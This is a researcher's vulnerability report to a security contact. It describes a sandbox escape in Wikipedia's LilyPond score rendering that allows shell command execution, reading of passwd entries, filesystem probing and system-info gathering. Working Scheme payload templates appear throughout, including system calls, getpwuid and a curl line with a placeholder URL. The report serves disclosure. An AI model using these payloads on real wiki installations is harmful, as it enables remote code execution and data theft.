Report from security@
Hello,
I’m a security researcher and I have discovered a vulnerability which is present in Wikipedia. I am not sure if it’s caused by a bug in MediaWiki, the extension used for LilyPond (either LilyPond or Score), the (configuration of MW or such plugin), LilyPond’s -dsafe sandbox or GNU Guile’s --r5rs-safe sandbox (although I do think that it’s not LilyPond or Guile bug, as I wasn’t able to run e.g. system function on LilyPond with -dsafe; I think it’s a configuration bug), but it seems that the sandboxing doesn’t work properly.
While I didn’t perform any serious exploitation, throughout the testing it became clear that I can perform several actions which I should not be able to do, like exploring the filesystem, reading /etc/passwd entries or executing shell commands.
Here’s a simple template for testing:
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# [scheme code goes here] }>></score>}}
The output of the template will be a score with a single note, with command’s output rendered as its caption.
For examples:
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (number->string (system “/bin/false”)) }>></score>}}
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (number->string (system “/bin/true”)) }>></score>}}
This confirms that we have command execution as on Wikipedia the first one will render 256 as a caption and the second one will render 0. This is because /bin/false is a program that exits immediately with a non-zero exit code, /bin/true exits immediately with a zero exit code, system function executes a shell command and returns exit code number, and number->string converts it to string.
Other available command-execution functions include execl, excle and execlp.
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (object->string (getpwuid 0)) }>></score>}}
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (object->string (getpwuid (getuid))) }>></score>}}
The first one uses Guile Scheme standard library to parse root’s entry in /etc/passwd (getpwuid 0), then converts it to a string representation (object->string). The second one does the same thing for currently logged-in user (on Wikipedia it is www-data).
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (if (file-exists? “/var/www/html/index.html”) “true” “false”) }>></score>}}
This can explore the file system (we can list directory contents with opendir and readdir procedures)
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (object->string (uname)) }>></score>}}
This can get system info
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (if (defined? ‘connect) “true” “false”) }>></score>}}
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (if (defined? ‘socket) “true” “false”) }>></score>}}
This checks for networking-related functions (socket, connect); didn’t try running those though.
{{Image frame|content=<score vorbis=”1” lang=”lilypond”>\new Staff <<{c^# (number->string (system “/usr/bin/curl [URL HERE]”)) }>></score>}}
This should send request with curl; in my tests, it doesn’t work and causes an error when rendering page.
In my opinion, those actions should not be allowed as they allow for code execution and probably further exploitation. Functions which allow execution of system commands, making network connections, direct access to file system and reading of system info should not be available.
end of email